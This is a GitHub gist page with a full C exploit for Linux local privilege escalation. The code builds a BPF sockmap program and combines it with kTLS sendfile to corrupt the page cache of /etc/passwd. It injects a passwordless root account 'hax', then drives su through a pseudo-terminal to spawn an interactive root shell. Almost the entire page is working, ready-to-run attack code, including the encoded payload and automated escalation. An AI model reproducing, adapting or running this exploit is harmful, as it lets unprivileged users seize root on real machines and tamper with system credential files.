-
-
Save birdie-github/eed25f2a5a67b771c62e7b187d91d13b to your computer and use it in GitHub Desktop.
slopped up
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * sockmap_lpe_ktls.c — full LPE via kTLS + sockmap page cache corruption | |
| * | |
| * https://lore.kernel.org/stable/20260517121626.406516-1-rollkingzzc@gmail.com/ | |
| * | |
| * Works on ALL kernels 4.18+ (including 6.5+ where sendpage was removed). | |
| * | |
| * Chain: sendfile → tls_sw_sendmsg(MSG_SPLICE_PAGES) | |
| * → tls_sw_sendmsg_splice → sk_msg_page_add(msg_pl, page) | |
| * → bpf_exec_tx_verdict(msg_pl) | |
| * → SK_MSG: push_data (desync bitmap) → pull_data → write | |
| * | |
| * 1. Back up /etc/passwd | |
| * 2. Corrupt page cache to inject hax::0:0::/root:/bin/sh | |
| * 3. su hax → root shell | |
| * 4. Restore /etc/passwd from root shell | |
| * 5. Drop to interactive root shell | |
| * | |
| * Requires: CAP_BPF + CAP_NET_ADMIN (5.6+) or CAP_SYS_ADMIN (pre-5.6) | |
| * tls kernel module loaded | |
| */ | |
| #define _GNU_SOURCE | |
| #include <arpa/inet.h> | |
| #include <errno.h> | |
| #include <fcntl.h> | |
| #include <linux/bpf.h> | |
| #include <linux/tcp.h> | |
| #include <linux/tls.h> | |
| #include <pty.h> | |
| #include <signal.h> | |
| #include <stdint.h> | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <sys/select.h> | |
| #include <sys/sendfile.h> | |
| #include <sys/socket.h> | |
| #include <sys/syscall.h> | |
| #include <sys/wait.h> | |
| #include <termios.h> | |
| #include <unistd.h> | |
| #ifndef __NR_bpf | |
| #define __NR_bpf 321 | |
| #endif | |
| #ifndef SOL_TLS | |
| #define SOL_TLS 282 | |
| #endif | |
| #ifndef TCP_ULP | |
| #define TCP_ULP 31 | |
| #endif | |
| #define PAGE_SIZE 4096 | |
| #define PUSH_LEN 64 | |
| #define PAYLOAD "hax::0:0::/root:/bin/sh\n" | |
| #define PAYLOAD_LEN 24 | |
| #define BACKUP_PATH "/tmp/.passwd_bak" | |
| #define HAX_USER "hax" | |
| struct bpf_insn_p { | |
| uint8_t code; uint8_t dst_reg:4; uint8_t src_reg:4; | |
| int16_t off; int32_t imm; | |
| }; | |
| #define I(C,D,S,O,M) ((struct bpf_insn_p){.code=(C),.dst_reg=(D),.src_reg=(S),.off=(O),.imm=(M)}) | |
| #define MOV_R(d,s) I(0xbf,d,s,0,0) | |
| #define MOV_I(d,i) I(0xb7,d,0,0,i) | |
| #define ADD_I(d,i) I(0x07,d,0,0,i) | |
| #define LDX_DW(d,s,o) I(0x79,d,s,o,0) | |
| #define STX_W(d,s,o) I(0x63,d,s,o,0) | |
| #define ST_W(d,o,i) I(0x62,d,0,o,i) | |
| #define JNE_I(d,i,off) I(0x55,d,0,off,i) | |
| #define JGT_R(d,s,off) I(0x2d,d,s,off,0) | |
| #define CALL(id) I(0x85,0,0,0,id) | |
| #define EXIT_() I(0x95,0,0,0,0) | |
| #define LD_MAP_FD(d,fd) I(0x18,d,1,0,fd), I(0,0,0,0,0) | |
| static long bpf_(int cmd, union bpf_attr *a, unsigned sz) | |
| { | |
| return syscall(__NR_bpf, cmd, a, sz); | |
| } | |
| static int build_prog(int dbg_fd, uint32_t payload[], int payload_words) | |
| { | |
| struct bpf_insn_p prog[128]; | |
| int i = 0; | |
| prog[i++] = MOV_R(6, 1); | |
| prog[i++] = ST_W(10, -4, 1); | |
| /* debug[0] = 1 (entry) */ | |
| prog[i++] = ST_W(10, -8, 0); | |
| prog[i++] = LD_MAP_FD(1, dbg_fd); prog[i++] = I(0,0,0,0,0); | |
| prog[i++] = MOV_R(2, 10); prog[i++] = ADD_I(2, -8); | |
| prog[i++] = MOV_R(3, 10); prog[i++] = ADD_I(3, -4); | |
| prog[i++] = MOV_I(4, 0); | |
| prog[i++] = CALL(2); | |
| /* push_data(ctx, 0, 64, 0) — desync copy bitmap */ | |
| prog[i++] = MOV_R(1, 6); | |
| prog[i++] = MOV_I(2, 0); | |
| prog[i++] = MOV_I(3, PUSH_LEN); | |
| prog[i++] = MOV_I(4, 0); | |
| prog[i++] = CALL(90); | |
| prog[i++] = MOV_R(7, 0); | |
| /* debug[1] = push retval */ | |
| prog[i++] = STX_W(10, 7, -4); | |
| prog[i++] = ST_W(10, -8, 1); | |
| prog[i++] = LD_MAP_FD(1, dbg_fd); prog[i++] = I(0,0,0,0,0); | |
| prog[i++] = MOV_R(2, 10); prog[i++] = ADD_I(2, -8); | |
| prog[i++] = MOV_R(3, 10); prog[i++] = ADD_I(3, -4); | |
| prog[i++] = MOV_I(4, 0); | |
| prog[i++] = CALL(2); | |
| int jmp1_idx = i; | |
| prog[i++] = JNE_I(7, 0, 0); | |
| /* pull_data(ctx, 64, 128, 0) — access desynced page */ | |
| prog[i++] = MOV_R(1, 6); | |
| prog[i++] = MOV_I(2, PUSH_LEN); | |
| prog[i++] = MOV_I(3, PUSH_LEN * 2); | |
| prog[i++] = MOV_I(4, 0); | |
| prog[i++] = CALL(63); | |
| prog[i++] = MOV_R(8, 0); | |
| /* debug[2] = pull retval */ | |
| prog[i++] = STX_W(10, 8, -4); | |
| prog[i++] = ST_W(10, -8, 2); | |
| prog[i++] = LD_MAP_FD(1, dbg_fd); prog[i++] = I(0,0,0,0,0); | |
| prog[i++] = MOV_R(2, 10); prog[i++] = ADD_I(2, -8); | |
| prog[i++] = MOV_R(3, 10); prog[i++] = ADD_I(3, -4); | |
| prog[i++] = MOV_I(4, 0); | |
| prog[i++] = CALL(2); | |
| int jmp2_idx = i; | |
| prog[i++] = JNE_I(8, 0, 0); | |
| prog[i++] = LDX_DW(0, 6, 0); | |
| prog[i++] = LDX_DW(1, 6, 8); | |
| prog[i++] = MOV_R(2, 0); | |
| prog[i++] = ADD_I(2, payload_words * 4); | |
| int jmp3_idx = i; | |
| prog[i++] = JGT_R(2, 1, 0); | |
| for (int w = 0; w < payload_words; w++) | |
| prog[i++] = ST_W(0, w * 4, payload[w]); | |
| /* debug[3] = 1 (wrote) */ | |
| prog[i++] = ST_W(10, -4, 1); | |
| prog[i++] = ST_W(10, -8, 3); | |
| prog[i++] = LD_MAP_FD(1, dbg_fd); prog[i++] = I(0,0,0,0,0); | |
| prog[i++] = MOV_R(2, 10); prog[i++] = ADD_I(2, -8); | |
| prog[i++] = MOV_R(3, 10); prog[i++] = ADD_I(3, -4); | |
| prog[i++] = MOV_I(4, 0); | |
| prog[i++] = CALL(2); | |
| int exit_idx = i; | |
| prog[i++] = MOV_I(0, 1); | |
| prog[i++] = EXIT_(); | |
| prog[jmp1_idx].off = exit_idx - jmp1_idx - 1; | |
| prog[jmp2_idx].off = exit_idx - jmp2_idx - 1; | |
| prog[jmp3_idx].off = exit_idx - jmp3_idx - 1; | |
| char log_buf[131072] = {0}; | |
| union bpf_attr a = {0}; | |
| a.prog_type = 16; | |
| a.insns = (unsigned long)prog; | |
| a.insn_cnt = i; | |
| a.license = (unsigned long)"GPL"; | |
| a.log_buf = (unsigned long)log_buf; | |
| a.log_size = sizeof(log_buf); | |
| a.log_level = 1; | |
| int fd = bpf_(5, &a, sizeof(a)); | |
| if (fd < 0) { | |
| fprintf(stderr, "[-] prog load (%d insns): %s\n", i, strerror(errno)); | |
| int len = strlen(log_buf); | |
| fprintf(stderr, " %s\n", len > 500 ? log_buf + len - 500 : log_buf); | |
| } | |
| return fd; | |
| } | |
| static int do_corrupt(const char *target, uint32_t payload[], int payload_words) | |
| { | |
| union bpf_attr ma = {0}; | |
| ma.map_type = 2; ma.key_size = 4; ma.value_size = 4; ma.max_entries = 8; | |
| int dbg = bpf_(0, &ma, sizeof(ma)); | |
| memset(&ma, 0, sizeof(ma)); | |
| ma.map_type = 15; ma.key_size = 4; ma.value_size = 4; ma.max_entries = 2; | |
| int smap = bpf_(0, &ma, sizeof(ma)); | |
| if (dbg < 0 || smap < 0) { | |
| fprintf(stderr, "[-] map create: %s\n", strerror(errno)); | |
| return -1; | |
| } | |
| int pfd = build_prog(dbg, payload, payload_words); | |
| if (pfd < 0) return -1; | |
| union bpf_attr aa = {0}; | |
| aa.target_fd = smap; aa.attach_bpf_fd = pfd; aa.attach_type = 7; | |
| if (bpf_(8, &aa, sizeof(aa)) < 0) { | |
| fprintf(stderr, "[-] attach: %s\n", strerror(errno)); | |
| return -1; | |
| } | |
| fprintf(stderr, "[+] BPF sockmap ready\n"); | |
| /* TCP pair */ | |
| int ls = socket(AF_INET, SOCK_STREAM, 0); | |
| int one = 1; setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, &one, 4); | |
| struct sockaddr_in ad = {.sin_family=AF_INET, .sin_addr.s_addr=htonl(0x7f000001)}; | |
| if (bind(ls, (void *)&ad, sizeof(ad)) < 0) { | |
| fprintf(stderr, "[-] bind: %s\n", strerror(errno)); | |
| return -1; | |
| } | |
| listen(ls, 1); | |
| socklen_t al = sizeof(ad); getsockname(ls, (void *)&ad, &al); | |
| int c = socket(AF_INET, SOCK_STREAM, 0); | |
| connect(c, (void *)&ad, sizeof(ad)); | |
| int s = accept(ls, NULL, NULL); close(ls); | |
| /* sockmap FIRST, then kTLS */ | |
| int key = 0; | |
| union bpf_attr ua = {0}; | |
| ua.map_fd = smap; ua.key = (unsigned long)&key; ua.value = (unsigned long)&c; | |
| if (bpf_(2, &ua, sizeof(ua)) < 0) { | |
| fprintf(stderr, "[-] sockmap update: %s\n", strerror(errno)); | |
| return -1; | |
| } | |
| if (setsockopt(c, IPPROTO_TCP, TCP_ULP, "tls", sizeof("tls")) < 0) { | |
| fprintf(stderr, "[-] TCP_ULP tls: %s (try: modprobe tls)\n", strerror(errno)); | |
| return -1; | |
| } | |
| struct tls12_crypto_info_aes_gcm_128 crypto = {0}; | |
| crypto.info.version = 0x0303; | |
| crypto.info.cipher_type = 51; | |
| if (setsockopt(c, SOL_TLS, TLS_TX, &crypto, sizeof(crypto)) < 0) { | |
| fprintf(stderr, "[-] TLS_TX: %s\n", strerror(errno)); | |
| return -1; | |
| } | |
| struct timeval tv = {.tv_sec = 2}; | |
| setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); | |
| /* sendfile target through kTLS+sockmap */ | |
| int tfd = open(target, O_RDONLY); | |
| if (tfd < 0) { fprintf(stderr, "[-] open %s: %s\n", target, strerror(errno)); return -1; } | |
| off_t offset = 0; | |
| ssize_t sent = sendfile(c, tfd, &offset, PAGE_SIZE); | |
| close(tfd); | |
| if (sent <= 0) { | |
| /* splice fallback for older kernels */ | |
| tfd = open(target, O_RDONLY); | |
| if (tfd < 0) return -1; | |
| int pp[2]; pipe(pp); | |
| ssize_t n = splice(tfd, NULL, pp[1], NULL, PAGE_SIZE, 0); | |
| if (n <= 0) { close(tfd); return -1; } | |
| sent = splice(pp[0], NULL, c, NULL, n, 0); | |
| close(pp[0]); close(pp[1]); close(tfd); | |
| if (sent <= 0) return -1; | |
| } | |
| fprintf(stderr, "[+] sent %zd bytes through kTLS + sockmap\n", sent); | |
| /* drain */ | |
| usleep(200000); | |
| char dr[PAGE_SIZE * 2]; ssize_t total = 0; | |
| while (total < (ssize_t)sizeof(dr)) { | |
| ssize_t r = recv(s, dr + total, sizeof(dr) - total, 0); | |
| if (r <= 0) break; | |
| total += r; | |
| } | |
| close(c); close(s); | |
| /* check BPF debug */ | |
| uint32_t d[4] = {0}; | |
| for (int k = 0; k < 4; k++) { | |
| union bpf_attr la = {0}; | |
| la.map_fd = dbg; la.key = (unsigned long)&k; la.value = (unsigned long)&d[k]; | |
| bpf_(1, &la, sizeof(la)); | |
| } | |
| fprintf(stderr, "[*] BPF: ran=%u push=%d pull=%d wrote=%u\n", | |
| d[0], (int)d[1], (int)d[2], d[3]); | |
| if (d[3] != 1) { | |
| fprintf(stderr, "[-] BPF write stage failed\n"); | |
| return -1; | |
| } | |
| /* verify */ | |
| char ck[64] = {0}; | |
| int cfd = open(target, O_RDONLY); | |
| if (cfd >= 0) { read(cfd, ck, sizeof(ck) - 1); close(cfd); } | |
| if (memcmp(ck, payload, 4) != 0) { | |
| fprintf(stderr, "[-] page cache not corrupted\n"); | |
| return -1; | |
| } | |
| return 0; | |
| } | |
| static void relay_pty(int master) | |
| { | |
| struct termios orig; | |
| tcgetattr(STDIN_FILENO, &orig); | |
| struct termios raw = orig; | |
| cfmakeraw(&raw); | |
| tcsetattr(STDIN_FILENO, TCSANOW, &raw); | |
| fd_set fds; | |
| int maxfd = master > STDIN_FILENO ? master : STDIN_FILENO; | |
| for (;;) { | |
| FD_ZERO(&fds); | |
| FD_SET(STDIN_FILENO, &fds); | |
| FD_SET(master, &fds); | |
| if (select(maxfd + 1, &fds, NULL, NULL, NULL) < 0) { | |
| if (errno == EINTR) continue; | |
| break; | |
| } | |
| if (FD_ISSET(STDIN_FILENO, &fds)) { | |
| char c; | |
| if (read(STDIN_FILENO, &c, 1) <= 0) break; | |
| if (write(master, &c, 1) <= 0) break; | |
| } | |
| if (FD_ISSET(master, &fds)) { | |
| char buf[4096]; | |
| ssize_t n = read(master, buf, sizeof(buf)); | |
| if (n <= 0) break; | |
| write(STDOUT_FILENO, buf, n); | |
| } | |
| } | |
| tcsetattr(STDIN_FILENO, TCSANOW, &orig); | |
| } | |
| static int do_escalate(void) | |
| { | |
| int master; | |
| pid_t child = forkpty(&master, NULL, NULL, NULL); | |
| if (child < 0) { perror("forkpty"); return -1; } | |
| if (child == 0) { | |
| execlp("su", "su", HAX_USER, NULL); | |
| _exit(127); | |
| } | |
| char buf[4096]; | |
| int pos = 0; | |
| int authenticated = 0; | |
| for (int i = 0; i < 50; i++) { | |
| usleep(100000); | |
| fd_set fds; | |
| struct timeval tv = {.tv_sec = 0, .tv_usec = 200000}; | |
| FD_ZERO(&fds); FD_SET(master, &fds); | |
| if (select(master + 1, &fds, NULL, NULL, &tv) > 0) { | |
| ssize_t n = read(master, buf + pos, sizeof(buf) - pos - 1); | |
| if (n > 0) pos += n; | |
| buf[pos] = 0; | |
| } | |
| if (strcasestr(buf, "assword")) { | |
| write(master, "\n", 1); | |
| usleep(500000); | |
| fd_set fds2; | |
| struct timeval tv2 = {.tv_sec = 1}; | |
| FD_ZERO(&fds2); FD_SET(master, &fds2); | |
| if (select(master + 1, &fds2, NULL, NULL, &tv2) > 0) { | |
| ssize_t n = read(master, buf + pos, sizeof(buf) - pos - 1); | |
| if (n > 0) pos += n; | |
| buf[pos] = 0; | |
| } | |
| if (strcasestr(buf, "failure") || strcasestr(buf, "denied") || | |
| strcasestr(buf, "incorrect") || strcasestr(buf, "sorry")) { | |
| fprintf(stderr, "[-] su rejected empty password\n"); | |
| kill(child, SIGTERM); | |
| waitpid(child, NULL, 0); | |
| close(master); | |
| return -1; | |
| } | |
| authenticated = 1; | |
| break; | |
| } | |
| if (strstr(buf, "$ ") || strstr(buf, "# ")) { | |
| authenticated = 1; | |
| break; | |
| } | |
| } | |
| if (!authenticated) { | |
| fprintf(stderr, "[-] su didn't respond\n"); | |
| fprintf(stderr, " got: %.*s\n", pos > 200 ? 200 : pos, buf); | |
| kill(child, SIGTERM); | |
| waitpid(child, NULL, 0); | |
| close(master); | |
| return -1; | |
| } | |
| fprintf(stderr, "[+] got root shell — restoring /etc/passwd\n"); | |
| char cmd[256]; | |
| snprintf(cmd, sizeof(cmd), "cp %s /etc/passwd 2>/dev/null && echo RESTORED || echo FAIL\n", BACKUP_PATH); | |
| write(master, cmd, strlen(cmd)); | |
| usleep(500000); | |
| { | |
| char tmp[4096]; | |
| fd_set fds3; | |
| struct timeval tv3 = {.tv_sec = 0, .tv_usec = 500000}; | |
| FD_ZERO(&fds3); FD_SET(master, &fds3); | |
| while (select(master + 1, &fds3, NULL, NULL, &tv3) > 0) { | |
| if (read(master, tmp, sizeof(tmp)) <= 0) break; | |
| FD_ZERO(&fds3); FD_SET(master, &fds3); | |
| tv3.tv_sec = 0; tv3.tv_usec = 200000; | |
| } | |
| } | |
| fprintf(stderr, "[+] dropping to root shell\n\n"); | |
| write(master, "id\n", 3); | |
| usleep(200000); | |
| relay_pty(master); | |
| kill(child, SIGTERM); | |
| waitpid(child, NULL, 0); | |
| close(master); | |
| return 0; | |
| } | |
| int main(void) | |
| { | |
| if (getuid() == 0 && geteuid() == 0) { | |
| fprintf(stderr, "[!] already root\n"); | |
| return 0; | |
| } | |
| fprintf(stderr, "[*] sockmap LPE — kTLS + page cache corruption (all kernels 4.18+)\n\n"); | |
| /* back up /etc/passwd */ | |
| char orig[PAGE_SIZE]; | |
| int fd = open("/etc/passwd", O_RDONLY); | |
| if (fd < 0) { perror("open /etc/passwd"); return 1; } | |
| int orig_len = read(fd, orig, sizeof(orig)); | |
| close(fd); | |
| int bfd = open(BACKUP_PATH, O_CREAT|O_TRUNC|O_WRONLY, 0600); | |
| if (bfd >= 0) { write(bfd, orig, orig_len); close(bfd); } | |
| fprintf(stderr, "[+] backed up /etc/passwd (%d bytes)\n", orig_len); | |
| /* payload: "hax::0:0::/root:/bin/sh\n" */ | |
| uint32_t payload[] = { | |
| 0x3a786168, 0x303a303a, 0x722f3a3a, | |
| 0x3a746f6f, 0x6e69622f, 0x0a68732f | |
| }; | |
| fprintf(stderr, "[*] corrupting /etc/passwd page cache via kTLS + sockmap...\n"); | |
| if (do_corrupt("/etc/passwd", payload, 6) < 0) { | |
| fprintf(stderr, "[-] exploitation failed\n"); | |
| return 1; | |
| } | |
| fprintf(stderr, "[+] /etc/passwd corrupted: injected '%s' (uid=0, no password)\n", HAX_USER); | |
| fprintf(stderr, "[*] escalating via su %s...\n", HAX_USER); | |
| if (do_escalate() < 0) { | |
| fprintf(stderr, "[-] auto-escalation failed — try: su %s (empty password)\n", HAX_USER); | |
| return 1; | |
| } | |
| fprintf(stderr, "\n[*] cleaning up\n"); | |
| unlink(BACKUP_PATH); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment